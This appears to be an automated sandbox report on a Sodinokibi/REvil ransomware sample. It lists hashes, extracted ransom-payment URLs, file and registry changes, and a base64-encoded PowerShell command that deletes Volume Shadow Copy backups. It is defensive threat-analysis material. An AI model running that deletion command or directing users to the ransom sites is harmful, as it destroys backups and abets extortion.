Analysis
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max time kernel
146s -
max time network
150s -
platform
windows7_x64 -
resource
win7-20240705-en -
resource tags
arch:x64arch:x86image:win7-20240705-enlocale:en-usos:windows7-x64system -
submitted
27-08-2024 12:07
Behavioral task
behavioral1
Sample
c4f6fca09af28473aac8647fad42734e_JaffaCakes118.exe
Resource
win7-20240705-en
Behavioral task
behavioral2
Sample
c4f6fca09af28473aac8647fad42734e_JaffaCakes118.exe
Resource
win10v2004-20240802-en
General
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Target
c4f6fca09af28473aac8647fad42734e_JaffaCakes118.exe
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Size
164KB
-
MD5
c4f6fca09af28473aac8647fad42734e
-
SHA1
564f41f54b76b850491259cd71ab0ade9a6d18ac
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SHA256
0d29becc6f92a5a1bdce5223867e13596d9dad5d37ef61a38701747e26e86018
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SHA512
89f758dbbae7c8cec596343316e121b635b5268866517c7c754b3919b074bcc82cfc006851127662e978f0d234d91f0e061cd5449e29dfd38936fc4358cabf85
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SSDEEP
3072:VY+/DEGmOECUR5ai2XGmSQEjv5TpF+OjN57YEWeVw:VY+gT/Cu8i2W5jh7xz7B
Malware Config
Extracted
C:\Recovery\z475ow-readme.txt
sodinokibi
http://aplebzu47wgazapdqks6vrcv6zcnjppkbxbr6wketf56nf6aq2nmyoyd.onion/D3535367E0982F08
http://decryptor.top/D3535367E0982F08
Signatures
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Sodin,Sodinokibi,REvil
Ransomware with advanced anti-analysis and privilege escalation functionality.
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Enumerates connected drives 3 TTPs 25 IoCs
Attempts to read the root path of hard drives other than the default C: drive.
Processes:
c4f6fca09af28473aac8647fad42734e_JaffaCakes118.exedescription ioc process File opened (read-only) \??\H: c4f6fca09af28473aac8647fad42734e_JaffaCakes118.exe File opened (read-only) \??\U: c4f6fca09af28473aac8647fad42734e_JaffaCakes118.exe File opened (read-only) \??\V: c4f6fca09af28473aac8647fad42734e_JaffaCakes118.exe File opened (read-only) \??\W: c4f6fca09af28473aac8647fad42734e_JaffaCakes118.exe File opened (read-only) \??\X: c4f6fca09af28473aac8647fad42734e_JaffaCakes118.exe File opened (read-only) \??\G: c4f6fca09af28473aac8647fad42734e_JaffaCakes118.exe File opened (read-only) \??\J: c4f6fca09af28473aac8647fad42734e_JaffaCakes118.exe File opened (read-only) \??\R: c4f6fca09af28473aac8647fad42734e_JaffaCakes118.exe File opened (read-only) \??\S: c4f6fca09af28473aac8647fad42734e_JaffaCakes118.exe File opened (read-only) \??\F: c4f6fca09af28473aac8647fad42734e_JaffaCakes118.exe File opened (read-only) \??\O: c4f6fca09af28473aac8647fad42734e_JaffaCakes118.exe File opened (read-only) \??\Q: c4f6fca09af28473aac8647fad42734e_JaffaCakes118.exe File opened (read-only) \??\B: c4f6fca09af28473aac8647fad42734e_JaffaCakes118.exe File opened (read-only) \??\L: c4f6fca09af28473aac8647fad42734e_JaffaCakes118.exe File opened (read-only) \??\M: c4f6fca09af28473aac8647fad42734e_JaffaCakes118.exe File opened (read-only) \??\N: c4f6fca09af28473aac8647fad42734e_JaffaCakes118.exe File opened (read-only) \??\Y: c4f6fca09af28473aac8647fad42734e_JaffaCakes118.exe File opened (read-only) \??\K: c4f6fca09af28473aac8647fad42734e_JaffaCakes118.exe File opened (read-only) \??\E: c4f6fca09af28473aac8647fad42734e_JaffaCakes118.exe File opened (read-only) \??\T: c4f6fca09af28473aac8647fad42734e_JaffaCakes118.exe File opened (read-only) \??\Z: c4f6fca09af28473aac8647fad42734e_JaffaCakes118.exe File opened (read-only) \??\A: c4f6fca09af28473aac8647fad42734e_JaffaCakes118.exe File opened (read-only) \??\I: c4f6fca09af28473aac8647fad42734e_JaffaCakes118.exe File opened (read-only) \??\P: c4f6fca09af28473aac8647fad42734e_JaffaCakes118.exe File opened (read-only) \??\D: c4f6fca09af28473aac8647fad42734e_JaffaCakes118.exe -
Drops file in System32 directory 1 IoCs
Processes:
c4f6fca09af28473aac8647fad42734e_JaffaCakes118.exedescription ioc process File opened for modification C:\Windows\System32\CatRoot2\dberr.txt c4f6fca09af28473aac8647fad42734e_JaffaCakes118.exe -
Sets desktop wallpaper using registry 2 TTPs 1 IoCs
Processes:
c4f6fca09af28473aac8647fad42734e_JaffaCakes118.exedescription ioc process Set value (str) \REGISTRY\USER\S-1-5-21-2172136094-3310281978-782691160-1000\Control Panel\Desktop\Wallpaper = "C:\\Users\\Admin\\AppData\\Local\\Temp\\t920yhkh.bmp" c4f6fca09af28473aac8647fad42734e_JaffaCakes118.exe -
Drops file in Program Files directory 34 IoCs
Processes:
c4f6fca09af28473aac8647fad42734e_JaffaCakes118.exedescription ioc process File opened for modification \??\c:\program files\UnlockStep.zip c4f6fca09af28473aac8647fad42734e_JaffaCakes118.exe File created \??\c:\program files (x86)\microsoft sql server compact edition\z475ow-readme.txt c4f6fca09af28473aac8647fad42734e_JaffaCakes118.exe File created \??\c:\program files (x86)\microsoft sql server compact edition\v3.5\desktop\z475ow-readme.txt c4f6fca09af28473aac8647fad42734e_JaffaCakes118.exe File opened for modification \??\c:\program files\InitializeInstall.aiff c4f6fca09af28473aac8647fad42734e_JaffaCakes118.exe File opened for modification \??\c:\program files\PushApprove.txt c4f6fca09af28473aac8647fad42734e_JaffaCakes118.exe File opened for modification \??\c:\program files\BlockCopy.jtx c4f6fca09af28473aac8647fad42734e_JaffaCakes118.exe File opened for modification \??\c:\program files\ProtectUninstall.vstx c4f6fca09af28473aac8647fad42734e_JaffaCakes118.exe File opened for modification \??\c:\program files\LockEnable.m4v c4f6fca09af28473aac8647fad42734e_JaffaCakes118.exe File opened for modification \??\c:\program files\ProtectUninstall.ram c4f6fca09af28473aac8647fad42734e_JaffaCakes118.exe File opened for modification \??\c:\program files\StepWrite.png c4f6fca09af28473aac8647fad42734e_JaffaCakes118.exe File opened for modification \??\c:\program files\WaitGet.mpp c4f6fca09af28473aac8647fad42734e_JaffaCakes118.exe File created \??\c:\program files (x86)\microsoft sql server compact edition\v3.5\z475ow-readme.txt c4f6fca09af28473aac8647fad42734e_JaffaCakes118.exe File opened for modification \??\c:\program files\ExitJoin.mpeg2 c4f6fca09af28473aac8647fad42734e_JaffaCakes118.exe File opened for modification \??\c:\program files\GrantSkip.asf c4f6fca09af28473aac8647fad42734e_JaffaCakes118.exe File opened for modification \??\c:\program files\PublishSave.css c4f6fca09af28473aac8647fad42734e_JaffaCakes118.exe File opened for modification \??\c:\program files\RedoWrite.jpe c4f6fca09af28473aac8647fad42734e_JaffaCakes118.exe File opened for modification \??\c:\program files\DebugConvert.emf c4f6fca09af28473aac8647fad42734e_JaffaCakes118.exe File opened for modification \??\c:\program files\GroupJoin.mp2 c4f6fca09af28473aac8647fad42734e_JaffaCakes118.exe File opened for modification \??\c:\program files\SwitchLock.reg c4f6fca09af28473aac8647fad42734e_JaffaCakes118.exe File opened for modification \??\c:\program files\InvokeStep.m1v c4f6fca09af28473aac8647fad42734e_JaffaCakes118.exe File opened for modification \??\c:\program files\MountResume.rtf c4f6fca09af28473aac8647fad42734e_JaffaCakes118.exe File opened for modification \??\c:\program files\ResumeDeny.doc c4f6fca09af28473aac8647fad42734e_JaffaCakes118.exe File opened for modification \??\c:\program files\UnpublishConvertTo.tif c4f6fca09af28473aac8647fad42734e_JaffaCakes118.exe File opened for modification \??\c:\program files\DisconnectSync.dot c4f6fca09af28473aac8647fad42734e_JaffaCakes118.exe File opened for modification \??\c:\program files\InitializeComplete.midi c4f6fca09af28473aac8647fad42734e_JaffaCakes118.exe File opened for modification \??\c:\program files\RestartWait.WTV c4f6fca09af28473aac8647fad42734e_JaffaCakes118.exe File opened for modification \??\c:\program files\TestConvertTo.M2T c4f6fca09af28473aac8647fad42734e_JaffaCakes118.exe File opened for modification \??\c:\program files\TestRestore.htm c4f6fca09af28473aac8647fad42734e_JaffaCakes118.exe File created \??\c:\program files\z475ow-readme.txt c4f6fca09af28473aac8647fad42734e_JaffaCakes118.exe File opened for modification \??\c:\program files\NewReset.odt c4f6fca09af28473aac8647fad42734e_JaffaCakes118.exe File opened for modification \??\c:\program files\FindUnlock.au c4f6fca09af28473aac8647fad42734e_JaffaCakes118.exe File opened for modification \??\c:\program files\RequestMount.wma c4f6fca09af28473aac8647fad42734e_JaffaCakes118.exe File created \??\c:\program files (x86)\z475ow-readme.txt c4f6fca09af28473aac8647fad42734e_JaffaCakes118.exe File opened for modification \??\c:\program files\CompleteUnregister.cr2 c4f6fca09af28473aac8647fad42734e_JaffaCakes118.exe -
System Location Discovery: System Language Discovery 1 TTPs 1 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
Processes:
c4f6fca09af28473aac8647fad42734e_JaffaCakes118.exedescription ioc process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language c4f6fca09af28473aac8647fad42734e_JaffaCakes118.exe -
Processes:
c4f6fca09af28473aac8647fad42734e_JaffaCakes118.exedescription ioc process Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\CABD2A79A1076A31F21D253635CB039D4329A5E8 c4f6fca09af28473aac8647fad42734e_JaffaCakes118.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\CABD2A79A1076A31F21D253635CB039D4329A5E8\Blob = 0400000001000000100000000cd2f9e0da1773e9ed864da5e370e74e14000000010000001400000079b459e67bb6e5e40173800888c81a58f6e99b6e030000000100000014000000cabd2a79a1076a31f21d253635cb039d4329a5e80f00000001000000200000003f0411ede9c4477057d57e57883b1f205b20cdc0f3263129b1ee0269a2678f631900000001000000100000002fe1f70bb05d7c92335bc5e05b984da620000000010000006f0500003082056b30820353a0030201020211008210cfb0d240e3594463e0bb63828b00300d06092a864886f70d01010b0500304f310b300906035504061302555331293027060355040a1320496e7465726e65742053656375726974792052657365617263682047726f7570311530130603550403130c4953524720526f6f74205831301e170d3135303630343131303433385a170d3335303630343131303433385a304f310b300906035504061302555331293027060355040a1320496e7465726e65742053656375726974792052657365617263682047726f7570311530130603550403130c4953524720526f6f7420583130820222300d06092a864886f70d01010105000382020f003082020a0282020100ade82473f41437f39b9e2b57281c87bedcb7df38908c6e3ce657a078f775c2a2fef56a6ef6004f28dbde68866c4493b6b163fd14126bbf1fd2ea319b217ed1333cba48f5dd79dfb3b8ff12f1219a4bc18a8671694a66666c8f7e3c70bfad292206f3e4c0e680aee24b8fb7997e94039fd347977c99482353e838ae4f0a6f832ed149578c8074b6da2fd0388d7b0370211b75f2303cfa8faeddda63abeb164fc28e114b7ecf0be8ffb5772ef4b27b4ae04c12250c708d0329a0e15324ec13d9ee19bf10b34a8c3f89a36151deac870794f46371ec2ee26f5b9881e1895c34796c76ef3b906279e6dba49a2f26c5d010e10eded9108e16fbb7f7a8f7c7e50207988f360895e7e237960d36759efb0e72b11d9bbc03f94905d881dd05b42ad641e9ac0176950a0fd8dfd5bd121f352f28176cd298c1a80964776e4737baceac595e689d7f72d689c50641293e593edd26f524c911a75aa34c401f46a199b5a73a516e863b9e7d72a712057859ed3e5178150b038f8dd02f05b23e7b4a1c4b730512fcc6eae050137c439374b3ca74e78e1f0108d030d45b7136b407bac130305c48b7823b98a67d608aa2a32982ccbabd83041ba2830341a1d605f11bc2b6f0a87c863b46a8482a88dc769a76bf1f6aa53d198feb38f364dec82b0d0a28fff7dbe21542d422d0275de179fe18e77088ad4ee6d98b3ac6dd27516effbc64f533434f0203010001a3423040300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff301d0603551d0e0416041479b459e67bb6e5e40173800888c81a58f6e99b6e300d06092a864886f70d01010b05000382020100551f58a9bcb2a850d00cb1d81a6920272908ac61755c8a6ef882e5692fd5f6564bb9b8731059d321977ee74c71fbb2d260ad39a80bea17215685f1500e59ebcee059e9bac915ef869d8f8480f6e4e99190dc179b621b45f06695d27c6fc2ea3bef1fcfcbd6ae27f1a9b0c8aefd7d7e9afa2204ebffd97fea912b22b1170e8ff28a345b58d8fc01c954b9b826cc8a8833894c2d843c82dfee965705ba2cbbf7c4b7c74e3b82be31c822737392d1c280a43939103323824c3c9f86b255981dbe29868c229b9ee26b3b573a82704ddc09c789cb0a074d6ce85d8ec9efceabc7bbb52b4e45d64ad026cce572ca086aa595e315a1f7a4edc92c5fa5fbffac28022ebed77bbbe3717b9016d3075e46537c3707428cd3c4969cd599b52ae0951a8048ae4c3907cecc47a452952bbab8fbadd233537de51d4d6dd5a1b1c7426fe64027355ca328b7078de78d3390e7239ffb509c796c46d5b415b3966e7e9b0c963ab8522d3fd65be1fb08c284fe24a8a389daac6ae1182ab1a843615bd31fdc3b8d76f22de88d75df17336c3d53fb7bcb415fffdca2d06138e196b8ac5d8b37d775d533c09911ae9d41c1727584be0241425f67244894d19b27be073fb9b84f817451e17ab7ed9d23e2bee0d52804133c31039edd7a6c8fc60718c67fde478e3f289e0406cfa5543477bdec899be91743df5bdb5ffe8e1e57a2cd409d7e6222dade1827 c4f6fca09af28473aac8647fad42734e_JaffaCakes118.exe -
Suspicious behavior: EnumeratesProcesses 2 IoCs
Processes:
c4f6fca09af28473aac8647fad42734e_JaffaCakes118.exepowershell.exepid process 1252 c4f6fca09af28473aac8647fad42734e_JaffaCakes118.exe 800 powershell.exe -
Suspicious use of AdjustPrivilegeToken 4 IoCs
Processes:
powershell.exevssvc.exedescription pid process Token: SeDebugPrivilege 800 powershell.exe Token: SeBackupPrivilege 2672 vssvc.exe Token: SeRestorePrivilege 2672 vssvc.exe Token: SeAuditPrivilege 2672 vssvc.exe -
Suspicious use of WriteProcessMemory 4 IoCs
Processes:
c4f6fca09af28473aac8647fad42734e_JaffaCakes118.exedescription pid process target process PID 1252 wrote to memory of 800 1252 c4f6fca09af28473aac8647fad42734e_JaffaCakes118.exe powershell.exe PID 1252 wrote to memory of 800 1252 c4f6fca09af28473aac8647fad42734e_JaffaCakes118.exe powershell.exe PID 1252 wrote to memory of 800 1252 c4f6fca09af28473aac8647fad42734e_JaffaCakes118.exe powershell.exe PID 1252 wrote to memory of 800 1252 c4f6fca09af28473aac8647fad42734e_JaffaCakes118.exe powershell.exe -
Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
Processes
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C:\Users\Admin\AppData\Local\Temp\c4f6fca09af28473aac8647fad42734e_JaffaCakes118.exe"C:\Users\Admin\AppData\Local\Temp\c4f6fca09af28473aac8647fad42734e_JaffaCakes118.exe"1⤵
- Enumerates connected drives
- Drops file in System32 directory
- Sets desktop wallpaper using registry
- Drops file in Program Files directory
- System Location Discovery: System Language Discovery
- Modifies system certificate store
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:1252 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -e RwBlAHQALQBXAG0AaQBPAGIAagBlAGMAdAAgAFcAaQBuADMAMgBfAFMAaABhAGQAbwB3AGMAbwBwAHkAIAB8ACAARgBvAHIARQBhAGMAaAAtAE8AYgBqAGUAYwB0ACAAewAkAF8ALgBEAGUAbABlAHQAZQAoACkAOwB9AA==2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:800
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C:\Windows\system32\wbem\unsecapp.exeC:\Windows\system32\wbem\unsecapp.exe -Embedding1⤵PID:2496
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C:\Windows\system32\vssvc.exeC:\Windows\system32\vssvc.exe1⤵
- Suspicious use of AdjustPrivilegeToken
PID:2672
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
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Filesize
6KB
MD556ae36fcfa200bc5bcd5f6885c2f9e47
SHA1f030286c12e5acb17926b96ac27ef4b16bf409d9
SHA2560dfac098def76b048082b390bff7b2c633a2f406e5db375be715be03a586e362
SHA512ee97657c75a33cdd7b871bf62933c2982d2ae6b07507077e4709353469d7e5de1f49a02c78e0934887546045f103b8a4d34742b7fae5a68c31a18443cce106d0
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Filesize
70KB
MD549aebf8cbd62d92ac215b2923fb1b9f5
SHA11723be06719828dda65ad804298d0431f6aff976
SHA256b33efcb95235b98b48508e019afa4b7655e80cf071defabd8b2123fc8b29307f
SHA512bf86116b015fb56709516d686e168e7c9c68365136231cc51d0b6542ae95323a71d2c7acec84aad7dcecc2e410843f6d82a0a6d51b9acfc721a9c84fdd877b5b
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Filesize
181KB
MD54ea6026cf93ec6338144661bf1202cd1
SHA1a1dec9044f750ad887935a01430bf49322fbdcb7
SHA2568efbc21559ef8b1bcf526800d8070baad42474ce7198e26fa771dbb41a76b1d8
SHA5126c7e0980e39aacf4c3689802353f464a08cd17753bd210ee997e5f2a455deb4f287a9ef74d84579dbde49bc96213cd2b8b247723919c412ea980aa6e6bfe218b
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Filesize
191KB
MD5efe1a4f62c178fa1169edf3b296f0149
SHA1ec613023ee1222cf2b5f428544c8a9aec6978128
SHA25663cc870a425061e4fe84e7dc38895cf5d8e0db18d08bee5a1f8314d78ac838cb
SHA5127225384551fbe209dbfdf30ebfd5ee1be2b7024368cf2aadbf15145ea51425f27904fb38229b39b28ee2a7207dff032ec0efd7316f7439dd183ffaecb71977cf